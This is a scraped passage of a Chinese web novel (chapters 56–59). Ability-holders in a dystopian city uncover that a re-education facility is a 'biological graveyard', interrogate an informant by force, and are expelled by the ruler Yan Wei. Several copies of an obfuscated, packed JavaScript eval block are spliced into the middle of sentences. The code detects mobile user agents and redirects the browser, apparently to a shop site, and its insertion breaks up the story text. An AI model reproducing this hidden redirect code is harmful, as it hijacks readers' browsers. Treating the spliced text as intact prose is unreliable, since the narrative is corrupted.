季水风叹气,进来在季山月旁边坐下,无力地说:“刚刚接到医院的电话,平叔也走了。” 季山月张大嘴,没能说出来话。 很多年前的季水风就在想,如果有一天她能成为掌权者,她要做的第一件事就是废除掌权者法案。 百年前的公民需要领袖是因为千万年他们都这么走过来,突然有一天,这个中心化的人没有了,公民也像失去了大脑,于是他们支持这样一个类似精神领袖一般的人物存在,但百年后一切都变了,公民不见得还需要这么一个角色存在,如果文明中心的存在是便于文明发展,那掌权者就是一席废位,偏偏还容易出现言威这样,得到权力便妄想独裁的人,现在有言威,以后或许还有别人。 她和沉皑从小为了争夺这个未来的掌权者之位,互相竞争互相帮助,最开始也不那么和谐,后来又变成了朋友,但某一天沉皑说不想坐这个位置,让她一定要坚持。后来的言威却只想让言不恩上位,言不恩是一个心思只在周遭事物上的小女生,她做不了掌权者。 多想,可以让恩德诺因为有自己而有光明璀璨的未来。 但好像一切都在远去,就像死去的阿修、平叔。 到底要如何推翻言威这座高塔? 季水风捂着脸坐在沙发上,旁边三个人没人说话。 “叮——”沉皑的手机突然响起来,不是电话,是信息的声音,他拿起来看,接着便皱起眉头。 文明中心再度发布了一则新闻:所有能力者在广场集合。 季水风放下手机,忧心忡忡道:“他们现在要把所有能力者运往教化所。” “什么?!”季山月“噌”一下就站起来了,他满脸的震惊,说话都要不利索了,“他大爷的,他,言威,单赫,他们疯了?教化所啊?去教化所干什么?” 那是一个类似于禁地的存在,因为不合格而运输过去的人越来越难回来。 季水风朝他严肃地点头。 时咎慢慢坐直身体,他举手:“问个问题,我算能力者吗?” “你怎么不算?瞬移到大爷家了还不算!”季山月骂道。 季水风想说什么,但没说出来,她也不知道时咎算不算,但在掌权者的眼里,他算。 原本以为各自在文明中心隔离,也能像之前公民隔离那样,一段时间后,该发病的发病,该存活的存活,之后就会一切恢复正常,但掌权者的这个通告无疑是要挑起民心。 “我不懂了。”季山月暴脾气上来了,他开始在办公室里转圈来回踱步,“把能力者运教化所是什么意思?还能回来吗?” 季水风顿了一下,说:“通知说,能力者如果被感染,发病的伤害比普通人更可怕,所以需要统一监管,并不是让我们去教化所做改造,只是那是个合适集中隔离的地方。”说完她示意了一下楼下,那些前几天被炸出来的大坑现在还没填完。 又是这样。时咎心生疑惑,一个绝佳的理由,一个烂透的决策,一个自相矛盾的结果,掌权者,或者说言威这个人身上矛盾重重,偶尔他觉得就像是两个人在拉扯。 消息传得很快,没一会儿,楼下传来熙熙攘攘的声音。时咎侧着身子在窗边往楼下看,发现广场上已经三三两两地聚集了一些人,他们竟然真的下去了,只是感觉下面的情绪不太好。 楼下吵闹起来,办公室还相对安静。在这片安静里,时咎转过头,正色道:“我没去过教化所,里面到底什么样?” 季山月咂巴嘴,不耐烦道:“这谁知道啊,我只知道检测不合格会被送往教化所改造,听老人说早几十年,进去的人可能几个月一两年就能回来,重新检测基本也能过,后来改造的时间越来越长,长达数年,数十年,能不能回来都是个问题,送教化所快等于死刑了。本来就是一个机构,后来搞得跟处刑场一样,谁不合格谁倒霉。” “回来的人怎么说?”时咎继续问。 沉皑回答:“就是一个研究所。” 从来的第一天,时咎就知道教化所的存在,却从未真正关注过,因为跟他毫无交集,他只知道公民们惧怕那个地方,但他隐隐觉得反起源进化和教化所或许也是有所关联的。 从最初的物种起源法案,后来衍生出一系列的机构与事件,它们应该是环环相扣的,也就是说,兴许教化所能找到反起源进化的细枝末节?可能这就是推翻当前掌权的第一步。 时咎想到的,沉皑早就想到,只是教化所直属掌权者大楼,根本不归起源实验室管,沉皑没有权限和条件进入那个地方,在哪里都不知道,所以当下听到这个消息,他第一反应是去看一下。 时咎和沉皑对了个眼神,沉皑朝他微微点头。 机会来了。 下面的人越聚越多,在文明中心竟然还有这么多有能力的人。 时咎想说“走吧”,但觉得这句话他来说有些不妥,到嘴边的话变成了:“去吗?” 问了一个大家都不想提的问题,一下在场的人都不说话了。片刻,季水风微微点头:“去吧。”作为言威身边常出现的人,不去也会被第一时间发现。 于是季山月也同意了,他一拳打在墙壁上,戾气满满地说:“去他的,我就不信能把我们留那儿几十年。” 时咎转头看向了沉皑,另外两个人突然也意识到了,季山月“嘶”了一声:“你没有能力,要不你就留着,我们仨去?” 沉皑站起来,不咸不淡径自开门出去了。 “我靠他要去啊?”季山月愣愣地说。 沉皑肯定要去,只是他在想要找个什么样的理由混入能力者中。 其实不算是混入。 几人从起源实验室出来,喧哗的空气便挤过来,广场上的人声清晰可闻。 此时广场边缘已经停了几辆大巴似乎正在等他们,但人群不像想象中那么宁静,他们中有很多人似乎都对这个决策不满意,也许是怀着对教化所这个未知地方的恐惧。 有人在问:“教化所在哪啊?” 也有人回答:“不知道啊。” 季山月跟着季水风稳步走到人群里,时咎和沉皑则落在后面。 看着这阵仗,时咎觉得不太舒服,他边走边问沉皑:“你没有能力,他们会让你去吗?”他觉得有些忧虑,沉皑太显眼了,没有人不认识他,但只要有人知道沉先生在,就一定会被更高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187348|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层的人知道,更高层的人清楚沉皑没有能力,会让他去? 时咎抿唇,脚步没停,他想如果沉皑实在没办法,他可以自己去,有季水风和季山月在也不至于出问题。 正认真想着,却听沉皑微微埋下头,在他耳边轻声说:“我有。” “你有什么你……”话说到一半,时咎突然卡壳,接着猛然回过头看向沉皑,却见他做了一个噤声的手势。 “你……”时咎惊愕地回正自己的头看向前方,让自己显得不那么惊讶。 有? 沉皑还是靠在他耳边,用只有他们两个人能听到的声音说:“那天言威劈我们的雷……” 时咎的嘴唇上下触碰,但没说出声,他的心情大起大落,忽然就想明白了当时疑惑的事。 那次沉皑激怒了言威,导致对方顺手便劈了一道雷下来,他抱着躲闪不及会出事的心想尽可能地躲,甚至生出了去替沉皑当,大不了自己从梦里醒来的想法,然而那道雷凭空消失了,他当时一瞬间觉得奇怪,因为言威看他的眼神似乎以为那是他做的,可他知道自己没有这样的能力,加之情况紧急,他没有再深入想。 居然是沉皑。 时咎没从震惊里走出来,他用气声说:“你骗了所有人?我都不知道。” 沉皑小声笑说:“好,除了我,现在你是这个世界上唯一知道这件事的人了。” 他确实骗了所有人,因为在相当长的时间里,他没有能力,他的能力出现的时候是…… 沉皑的眼神瞥向了时咎,见他微张的唇,惊讶还没完全从他脸上褪去,他就保持着这表情,慢步往前走。 他到现在还不知道是什么原因导致时咎记不得所有以前的事,但确实是这个人给了他能力。 尽管这能力在过去几年失去过,却又因为再次见到时咎,失而复得。 时咎还沉浸在这件事带给他的惊讶里,他很好奇沉皑的能力是什么,刚想开口问,句子被前方躁动的人群打碎,人群聚集处突然有人大喊不愿意去教化所,或许他是想表达自己的看法,然而这一声出来后,下一声也紧接而来。 “我也不想去!” “我不去!” “如果我感染了我会自杀,我不去教化所!!” “我们不去!” 呐喊声一波一波打来,黑色的人群在高喊中汹涌流窜起来,躁动侵袭。 这个时候他们再说悄悄话也听不清了,时咎闭上嘴,打算另找合适的时间问。 大巴旁边站着一些人,此时他们正面面相觑似乎也不知道如何处理现下的状况。 没一会儿,从大巴上走下来一个人,衣着简单,下来时还犹豫很久,最终他拿着扩音喇叭大声宣告:“请各位有序上车!为了我们的文明!请自愿配合!” “为了我们的文明!” 然而这样的声音也很快被淹没在广场这些人的激动情绪里。 他们站在最靠外,所以并不清楚前面是什么情况,只听见一浪高过一浪的反对声,那反对声逐渐演变成尖叫。 不知道那一块是什么时候开始打起来的,只听见连续几声“噗”的声音,肉眼可见的,所有大巴顿时矮下去一截。 竟是有能力者把运送他们的巴士轮胎全打爆了! 坏了。 57. 第 57 章 这几声泄气声给了人们某种信号,顿时尖叫声在人群里爆开,乱象来得如同怪雨盲风。后面的人想往前,前面的人也想后退,暴乱就像海水涨潮一般气势汹汹地猛扑过来,刚清净没几天的广场在这一声声呐喊中再次陷入混乱。 本来还打算往前走的沉皑迅速把时咎拉了出来。 情况发展不太对,他们现在不能去了。 人群往里推搡着,如同失控的零件,“啪”的一声某个螺帽掉了,“叮”螺丝直直垂落砸在地上发出金属脆响,一个齿轮冷不防被崩掉,弹飞几米远。 “出去!快出去!”刚刚走到人群里的季山月和季水风迅速从里面挣扎出来,一边跑一边朝外面的两人喊,“里面有能力者打起来了!离开这里!” 能力者的斗争不是小打小闹,文明中心的能力者聚众斗殴,后果更不堪设想。 四个人的位置比较好,都没有深入最里面,否则现在就出不来了。 季水风季山月姐弟一脱离人群便吼还在外面两人,原本沉皑拉着时咎,但时咎一听要跑,手一转,反手抓住了沉皑的手腕,两个人开始飞速往后退,迅速远离人群。 前面两人跑得很快,季山月回过头朝他们大喊:“沉皑!先回你办公室!” 刚好他们聚集的地方,起源实验室是最远的那栋楼。 抓着没办法跑快,所以一出来,时咎松开沉皑,开始自顾自地跑,结果没跑两步却被凭空出现的人影拦住了去路,那人影一出现,便一言不发看见人就直直冲过来。 “这怎么还有人拦路不让跑啊!”季山月在前面鬼吼,他霎时顿住脚步,他们前面也出现了人影。 沉皑将冲到面前的人踹开,紧接着又是一个人影凭空掉落,在半空还没落地就被时咎抬腿钩住,接着大腿发力狠狠将他砸到地上。 时咎发出不耐烦的声音,用后肘挡住了后方窜出来的人影攻击,两个身体碰到的一刹那,人影被弹飞,瞬间消失。 季水风首先发现不对,她朝三人大吼:“这不是能力者!这是舟之覆的亡灵大军!” 旁边三人听到,神色皆是一凛。季山月破口大骂:“这疯子舟之覆在干什么!!!”辱骂间,好几个人影围攻过来,他踩着临近两个人的胸口腾空而起,在半空三百六十度翻转,坠落的一瞬间伸腿横扫踢掉了下方一排脑袋,死去的人当即消失,取代的是下一波攻击过来的人。 “轰——”又有爆炸声响起,有人点燃巴士,热浪凶猛打过来,有碎片飞起来开始以巴士为圆心散射,人群乱成油锅里的蚂蚁,有主动攻击的,也有被动自保的,有一部分逃走了,更甚不知道是否有感染者在人群里突然发病的。能力者的暴乱如同发动一次战争。 沉皑解决了他附近的一群人影,快速跑到时咎身边,帮他打散最后一个,拉起他就往远处跑,一边跑一边朝后面吼:“先走!亡灵大军没完没了!” “好!”季水风胳膊用力扭断了一个人影的头,转身就跑。 时咎挣脱开沉皑的手,气喘吁吁说:“别拉我手,跑起来不方便!” 沉皑的动作停滞了半秒,随后轻轻点头。 亡灵大军数不胜数,且覆盖的范围越来越大,狂奔中时咎回头看了一眼,意外发现舟之覆竟然就在掌权者大楼三四楼处的窗边,他没有下来到人群里。 舟之覆趴在窗边,懒散地看着下面乱成一锅粥,长发随意飘动,不说话也不做表情的模样美得确有几分惊心动魄。 但他为什么在那里?他的姿势和态度很像—— 时咎脑子里几乎第一秒就蹦出来一个词:收割。 顾不得想太多,先回起源实验室。 跑在几人后面用于善后的季山月、一边骂一边卸掉手里人影的胳膊,骂骂咧咧地说着真想一巴掌把舟之覆的能力给他削了! 往前狂奔的途中突然他脚步一滞,整个人猛地停了下来。 “季山月!别停!”季水风在前面大喊。 然而季山月跟愣住了一样,于是前面三个人被迫也停了下来,见季山月不对,立刻退回来。 是一个人影,这个人影来自亡灵大军,但他却不像亡灵大军一样拥有天生的攻击力,这个人影拦在了季山月面前,不动,只是望着他。 三个人赶到他旁边,时咎大口喘气问:“你在做什么?”问完也看到了这个单独站着的人影。 奇怪的是他没有主动攻击,沉皑见过这种情况,他把时咎拉到身后,严肃低声说:“他可能是刚去世的人,意识还没被亡灵大军同化,小心点。” 然而等了片刻,那个人影依然是有些呆滞地挡在他们面前不动。 他们跑出了一段距离,亡灵大军更多的与还滞留在广场上的人缠斗去了,一时间四个人所在的位置空置了下来。 周围一片稀稀疏疏的树,因为四个人刚刚的打斗掺落不少树叶,全部静置在地上。 也许是实在不知道什么情况,季山月抬手准备打散这个人影,却不料他说话了。 “季山月,是季山月吗?”他说。声音苍老颤抖。 四个人同时绷紧身体,从未遇见过这种状况,先行防御。 季山月也不吊儿郎当了,他警惕道:“你是什么东西?”他不是想骂人,是真的不知道眼前的是个什么东西,他和舟之覆的亡灵大军打过太多次交道,知道这东西的脾性,出现便攻击,没有痛觉没有意识,只有攻击,死亡就消失,还是第一次遇到这种会说话的,不禁觉得一阵毛骨悚然。 这到底是舟之覆开发出了什么新能力还是? 季水风谨慎提醒道:“小心是幻象,或是舟之覆的新花招。” 然而那人影又叫了一声:“季山月?”这一声比刚刚还急切还悲怆,他甚至往前走了两步。 四个人立刻后退。季山月吼道:“再往前我就动手了!” 人影竟然真的像听懂了一样不动了。 季山月侧过头对季水风说:“姐!这个B灵魂不太对啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187349|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到季山月的声音,那灵魂突然更激动了,他顾不得季山月的威胁,竟然连着往前走了好几步,每一步都极其用力极其蹒跚,最后似乎是双腿无力,一下摔倒在地,但他坚持慢慢从地上爬起来,抬起头的瞬间,四个人都看见他满脸的热泪,从他满是沟壑的脸上说着凹陷往下流。 时咎见状,从沉皑身后走出来,问道:“你是谁?” 那人影却不看时咎,两眼倒影得慢慢只有旁边两人。他全是眼泪的眼睛望着季水风,轻声唤道:“是季水风吗?你是季水风?季山月?是我,是我。” 这下换两个人一起摸不着头脑了。 那人影又像突然想起了什么,脸色微变,随后显露的是更大的痛苦,他朝他们伸出手,嘴唇张了又合,合了又张,触碰无数次,一句话包在嘴里无法吐出,声音抖得快不成型,挣扎很久才终于发出了声音,他在说:“我是你们的父亲啊。” 两个人如被雷劈一样,不可置信地对视一眼。 季水风小心翼翼靠近他,皱着眉头,根本没有放下防备心,她拿胳膊挡在身前,做出随时反击的准备,沉声问道:“哪个父亲?”她有些不相信,便回望了一眼季山月,却见季山月摇头,他也并不认识这个人,如果都不是他俩的养父,难道是…… 人影完全没有攻击的意思,他只是像站不稳一般突然跪坐在地上猛磕头,一边用额头触碰坚硬的地板,一边不住说:“对不起,对不起,对不起,是我的错,是我丢掉你们,是我丢掉你们。” 两个人的脸色“唰”地就变了。 时咎和沉皑对视了一眼,沉皑朝他摇摇头,示意他不要说话。 时咎记得他们小时候被父母抛弃后,分别被两户人家收养,眼前这个,是他们的生父? 那个人影在地上疯狂磕头,但他不是实体,磕不到地上,也听不到声音,那疯狂的动作像在自我发泄、自我毁灭。 季水风放下手,后退两步躲到季山月身后,她的脸色难看得如同灰墨一般。 季山月紧紧抓住她的手,目光看向人影,狠狠问道:“我不信你说的!你到底是什么东西?舟之覆派来的?” 人影没有听懂他说的话,只是目光失焦般自顾自地喃喃:“我死了,不知道,但是我的意识好像一直飘在哪里,一片黑色虚空,有时候好像回到了熟悉的地方,有时候又重新回到虚空。” 渐渐的,他的目光再次聚焦到两人身上,痛苦地流着泪说:“对不起,我找过你们,我找你们来了,但我没有来,我好像,我……” 实在听不懂,季山月几乎要暴怒了,然而季水风却咬着唇一言不发,再不愿意多说一句话。 “你找他们去哪里?你又去哪里?”时咎开口打破这僵局。 人影听得到旁边的人说话,但眼神从来不挪开姐弟两人在的地方。他呆呆地盯着某处虚空,空洞无力地说:“我找了你们很久,终于找到了,我让我的助理把你们带到文明中心。啊,啊我想起来了……” 58. 第 58 章 他就像是记忆回笼一般盯着季水风说:“助理告诉我,我的女儿过得不好,当时你因为什么住进医院生命垂危,我很着急,我想必须要快点把你们接回来,让你们早上十点到广场……” 两个人的脸无限接近于土灰色,季山月抓住季水风的手更用力,他咬咬牙,吼道:“你胡说!是言威看中了我和我姐的能力才传唤我们的!” 季山月的手有些抖,季水风立刻反手去握住他的。 沉皑听到这里却觉得不太对,他皱眉质问:“你叫什么名字?” 人影愣了一下,好似认真回想,随即郑重回答:“季川泽。” 沉皑默然半天没说话,时咎有些担忧地碰了碰他,见沉皑微微点头,又侧身同季水风季山月迟疑地说:“这个名字很久以前我听过,是一位掌权者,离世之后单赫才来。” 沉皑的话如同惊雷,炸得季山月灰头土脸,他完全不相信,他指着这个人影说:“你再乱说我就打散你!” 季川泽也很着急,他的头脑清晰很多,语速也不自觉提了起来,焦虑地喊道:“我说的是真的!我,怪我,当时迷恋权力,那个女人把你们送走,山月那家人还好,可以水风那户人,我听说一直欺负你。”说完他紧紧盯着季水风,但季水风并不想直视他,只是偏过头,让自己的身形隐没在季山月宽大的阴影里。 “我找了好多年才找到你们,我说了上午十点广场见!你们记得吗!记得吗!”他突然声嘶力竭起来。 两个人都没说话,因为两个人都清楚地记得那个人说:上午十点,广场。但那天他们却一直等到日落,姗姗来迟的言威告诉他们他太忙了来晚了,他们也信了,并且一信二十年。 内心的宁静不像被轻易打破,那是一种极端的失控感,但人不喜欢失控。 不愿意面对这件事,虽然曾经悲恸绝望,但已经是久远的过去,谁都不想再在还算完满的今天给自己再增加一份迟来的苛责,却又始终挪不开脚步。 广场上的战斗还未停止,声音巨大到清晰可闻,传到此时此地,又显得寥寥无几。 片刻,季山月决然地说:“给你五分钟,如果你说不出个所以然,我就打散你。” 然而用不到五分钟,季川泽还没开口,他的身形就开始透明,似乎是离开舟之覆一个人追出来太远。 见状,季川泽也慌了,他心神不定地再次加快语速,用近乎嘶吼的语气说:“季家世代高风亮节!偏偏到我毁于一旦!” 他啜喘着、疾呼着。 “我不该背叛我的妻子!和城区的那个人心不足蛇吞象的女人在一起!” “我不该收公民的金纸,让本不合格的公民去做进化!” 说着,他似乎痛苦到无法自拔,只能掩面:“不该任由那个女人把你们送走,我真的找了很久才找到你们,但是那天上午,我被抓了,我收了太多贿赂,我没来。” 只言片语,时咎是听明白怎么回事了。这位掌权者在位的时候,收了不少公民的钱,为了让他们的孩子不要不合格被送去教化所。同时他也在寻找和出轨对象的孩子,在找到并约好见面的那个上午,他被捕了,于是这个传唤姐弟的人阴差阳错变成了言威,但言威是怎么知道的? 这么巧合?时咎皱眉看向旁边两人,却看他俩似乎都不太愿意接受这个说法。 季川泽的身体越来越透明,他也越来越着急,好像有很多话想说,来不及,只能用最后的声音嘶吼:“别相信言威!别去教化所!那是生物坟场!” 什么?季水风终于有了反应,她立刻大步向前跨过去,跨到季川泽面前,企图用手去抓他的身体,却只能眼睁睁看着手穿过去,她吼道:“你说什么?什么生物坟场?!” “教化所!那是屠杀……” 话音未落,他消失了。 …… 沉寂片刻,沉皑转身冷峻地说:“去找舟之覆!” “生物坟场”四个字,如同猛兽甩尾的滔天巨浪,炸得人晕头转向,心里本就不牢固的铁链“啪”地被炸开一道口子。 屠杀,屠杀,他说那是屠杀。尽管后面的字随着他的消失而无法得知,但任谁也知道不会再是什么多好的后半句。 如果去教化所是被屠杀,那么曾经因为不合格被送去教化所的未成年,是否以为自己面临的是一场改造,实际是一场屠杀;那么此时此刻要被送去教化所的能力者,在过去之后又会面对什么? 难怪,难怪有去无回。 只是想想,便觉得全身冰凉。 言威想除掉所有能力者,这个想法一旦出现,便如同尖刺一样密密麻麻扎在每个人的心里。 所以刚刚看到舟之覆站在掌权者大楼,放出他的亡灵大军,是否是这个信号? 时咎突然感觉一阵心脏发麻,他们都被骗了! 言威根本不是想送他们去教化所,只是找了这么一个理由让所有能力者集结,他们或许依然秉持公开透明的原则也想与掌权者谈论一二,所以会去广场上,但他们去了,已经就是中计了。 再多的人,也多不过亡灵大军,此时在广场上收割一部分人,然后呢? 他们的猜测不至于全错,至少最后的结果是一致的:有人想剿杀能力者。他在趁着虚疑病的尾声,利用传染病收割能力者,实现全方位的思维壁垒与控制,说不定以后的文明如果有能力者诞生,会被认定成低级物种。 季山月似乎是疯了一样往回冲,三个人紧随其后。 时咎问沉皑:“你知道这事?” 沉皑面部肌肉一直没放松,他压着声音道:“从没有听说过。” 作为起源实验室的看守者,他从来不知道这件事,那么他也亲手送过多少人进去?那些被判定不合格,遇到他,向他求助的孩子,他也把他们推入深渊。 想到这里,沉皑死死捏紧拳头。 时咎抿唇,严肃地加快步伐,他感觉很不好,那种有什么东西铺天盖地包围在整个上空的感觉挥之不去。 广场还没有消停,时咎一眼看到了从掌权者大楼楼上下来的舟之覆。时咎大喊:“在那边!”四个人立刻就冲了过去,一刻没有停顿。 舟之覆没想到会有人绑架自己,他只是漫不经心地欣赏着自己的亡灵大军在下面表演,整个人便眼前一黑,腹部狠狠挨了一拳,随后整个人腾空而起,在大庭广众下被抬走了。 拙劣的绑架! 当他再次睁开眼的时候,是一个比较熟悉的地方:沉皑的办公室。 “你们干嘛?”舟之覆惊叫,他的手脚都被绑住,整个人被扔在沙发下,看谁都得抬头看。 季山月二话不说一拳就过去了,用劲太大,竟是让舟之覆直直吐出来一颗带血的牙齿。 季水风吼道:“季山月!冷静!” 季山月的声音宏亮而中气十足:“冷静不了!!” 时咎朝季水风示意,季水风立刻把季山月拖到了沉皑后面去。 于是时咎拿了把椅子坐在舟之覆面前,朝他露出了一个一看就不是诚心友好的笑容:“我比较温和,我也不打你,但是现在我们需要你的帮助,可以配合一下吗?” 舟之覆明显不信时咎的话,他朝旁边吐了口血,咧嘴笑起来:“当然了宝贝,你的要求我什么时候没有满足过?” 时咎表情都没动一下,他正色道:“借你的亡灵大军用用。” 舟之覆挑眉:“哦?”说着目光冒犯地在时咎身上游走,“我都不知道……宝贝你口味这么重?” “我C你大爷!”后面地季山月忍不住了,他跳起来几乎又要冲过来揍人,迅速被季水风拦住了,季水风对他使了一个眼神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舟之覆随意歪了歪脑袋,用漫不经心的语气说:“咱就是说,好歹我也是看守者,三番两次被你们虐待就算了,我管的事我怎么会不知道呢?你们也别骂我,我就是个知情人,决定又不是我下的,我来的时候就已经这样了。” “同意不合格,确认他们被运输者送往教化所。季川泽我记得就是其中的运输者啊。”他装作回忆,“运输者没几个,一般都是重罪犯,一辈子都只能在起源实验室和教化所里来回,所以我还是记得好几个的。” 一直坐在椅子上的沉皑终于淡漠地开口:“教化所到底是什么地方?” 舟之覆抬起头看沉皑,目光里由平淡逐渐转变成了疯狂,他又开始放肆大笑起来了:“哈哈哈哈哈还有你不知道的东西啊,我还以为你全知全能呢,你求我,求我就告诉你好不好啊啊啊!” 话没说完,他刚刚被季山月揍的伤口就被时咎面无表情地用力按了上去,疼得舟之覆眼泪都出来了:“疼疼疼疼疼你有没有点公德心,我这里才受伤啊啊啊我错了疼疼疼别碰了!” 时咎面无表情地收回手,毫无感情道:“说。” 舟之覆龇牙咧嘴,但是一定要阴阳完:“沉皑你管管你的好宝贝啊啊我错了我说!” 时咎再次收回手。 舟之覆因为疼痛导致整张脸通红,眼角有些湿润,他咧着嘴,嘴里像包着东西一样说道:“我知道的也不多,只知道以前教化所是恩德诺最高生物科技所在地,因为研究病毒剥离而且成果斐然,送到教化所的未成年很快能回来重新通过检测,后来也不知道发生什么事了,去那里的人就渐渐不回来了,现在不合格的公民被送到教化所后会被直接被剿杀,所以运输者叫它生物坟场嘛,至于运输者,他们也有一个很好听的别称,叫……” 舟之覆嘴唇微动,轻轻将这三个字了念出来:“送葬者。” 59. 第 59 章 顿时在场四个人纷纷不说话,气氛像冻结的冰一样凝固。 送葬……为那些什么事也没有做错、只是可能体内携带虚疑病病毒的未成年人送葬。 楼下的喧闹声小了,似乎一张无形的手捂住了他们的嘴,眼不能睁,口不能言。 不敢相信这样的事会是真相。时咎抿唇,大脑飞速运转。一旦这是事实,被恩德诺的公民知晓,迎接他们的会是什么?他们的孩子,满怀希望地去接受进化,以获取长久的幸福,未曾想那只是长久的地狱。那些安居乐业、国泰民安的假象会不会立刻被刺穿? 一分钟,时咎再次开口,声音里是浓烈的压抑:“他们……他们是怎么被剿杀的?” 舟之覆耸肩:“那我不知道啊,我知道的就这么些了。” 沉皑问:“教化所在哪里?” 舟之覆还是摇头:“我又没去过,而且我听说以前的教化所和后来的换了地址,换去哪里只有运输者知道,我以前问过,运输者说:一个世界上不存在的地方。” 世界上不存在的地方会存在在哪里? 好模棱两可的回答,但之后的问题无论时咎怎么问,舟之覆都是不知道,他不清楚具体的情况,也不清楚季川泽的事,更不知道季川泽与姐弟的关系。问到后面,他甚至带上哭腔回答:“我真的不知道啊!你把我杀了我也不知道啊!把我当什么地狱烈焰犬,人间百事通啊!” 一颗炸弹如同连炮珠,炸了无数的水花出来。 为什么那么巧季川泽在召唤姐弟去文明中心的当天被捕,代替他的是言威? 为什么季川泽作为曾经的掌权者,在舟之覆嘴里变成了运输者? 这个世界上不存在的地方在哪里?那里曾经发生了什么让教化所变成了生物坟场?谁在那里负责剿杀这些未成年? 时咎觉得头快炸了,不知道答案的事情太多,而他们只能像一滴水,被洪流推着身不由己往前,等待他们的是深渊是瀑布,是礁石是冰川,是泥潭是沼泽,全然无知。 舟之覆滚了,被季山月一脚踹了出去。 “我们得去找言威。”季水风严肃说。 三人同意,一秒钟也不耽误当下立刻就动身。 路过广场,才发现那里居然没人了,只剩一些硝烟碎片,热浪扑面,金属残骸,看颜色应该是那些被炸掉的巴士的,还有存活的巴士停在路边,但车身千疮百孔,以此证明刚刚发生的不是假的。 这么快就平息了?他们人呢?那些运输者呢? 掌权者办公室,沉皑第一个推门而入,首先看到的是双手背在身后着急得团团转的言威,而刚刚才被他们无情绑架了的舟之覆也坐在这里,一脸哭丧,看上去是已经告状结束了。 见到来人,言威脚步一滞,严厉问道:“你们三个刚刚去哪里了!电话不接!”他目光扫过时咎,皱了下眉,但没说话。 沉皑淡淡答道:“舟之覆没跟你说?” 言威没搭理他的话,而是语气严峻地说:“刚刚楼下聚集的能力者怎么回事?发生这样的乱象,你们三个没第一时间出来处理?还要我亲自下去?我怎么教你们的?” 闻言,几个人全部面面相觑起来,连舟之覆都停止了他的哭丧脸,似乎不太理解地看向言威。 他在说什么?不是掌权者大楼发布出来的消息要集合文明中心现在所有的能力者送往教化所吗?连运输者都来了。 沉皑的手为不可察地触碰了一下自己的手机,回忆起那条信息确实是掌权者大楼发出来的。他冷声问:“不是你们要求有能力的人在广场集合,统一送往教化所隔离?” 言威的脸色立刻就变了,他朝着沉皑严肃训斥道:“胡扯!我怎么可能提出这样的要求!我身为掌权者,怎么会有这样的决策!随便送去教化所隔离?把教化所当什么了!把我的公民当什么了!” 连舟之覆都看出他的矫言伪行,他在时咎身后无声地鼓掌,还用嘴型对时咎说道:“比你还会演的人。” 时咎不想看他。 季山月挺胸往前一步,懒得多说废话,直接问:“生物坟场是怎么回事?” 言威愣了一下,站在原地几秒没能说出话,随后像突然回过神,他放下了他威严萧肃的气质,冷笑了一声:“这不是你们该考虑的事。” 冷不丁的,时咎在后面接了一句:“这是暴政哦,这是独裁哦,这是千古骂名缠身哦。” 见又是他,言威的火气一下就上来了,他指着时咎:“你这种人最该被送去教化所!” 时咎点头:“好的。” 话音未落,时咎被沉皑往后拉了一下,时咎扭头,见沉皑对他微微摇头。 时咎“啧”了一声,小声对他说:“对这种人不要怕,就是怼。” 沉皑:“……”算了,时咎但凡能听人话,也不至于惹恼言威。 季水风在后面平静地说:“我们需要知道教化所的真相。” 言威抄起面前的书夹猛地往旁边一扔,书夹砸到了舟之覆旁边的座椅上,发出剧烈的“啪”一声,吓得他差点跳起来,看见没被打到,惊魂未定地拍拍胸,一脸不满地看向言威,心道:气你的人又不是我,你朝我扔东西干嘛啊? 言威指着季水风,他的手颤颤巍巍的,像是憋了很久才怒吼出来:“你怎么也跟着沉皑这小子……好好好,自己的事不做,全部来质疑我的事,我看你们也是不想在文明中心呆下去了。从今天开始,你们三个被无限期停职!立刻离开文明中心,什么时候想清楚了,再来找我!” 季水风有些错愕,但沉皑似乎早就觉得会有这么一天,一句话也没说转头就走,季山月则原地爆炸,还没炸开,就被季水风拖着出去了。 时咎立刻加快步伐跟上沉皑。 外面爆发出一声嚎叫:“言威我C你大爷!” 原本以为言威也是生气上头,但没想到慢了几步回去,通行证都刷不开了。 沉皑平静地收起自己的通行证,等了一会儿,果然收到了季水风发来的信息。 他们都刷不开了。 消息远不止这些,当四个人走到文明中心大门的时候,竟然有人来给他们开了特殊通道,说是掌权者特别下达的指令。 季山月愤愤:“我要去老宅一趟,必须向言夫人揭发言威的种种罪行!顺便把言不恩逮来威胁他!” “别闹。”季水风柔声说。 四个人站在街道上,背后是黑压压的文明中心大门,前方是人声鼎沸的大城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 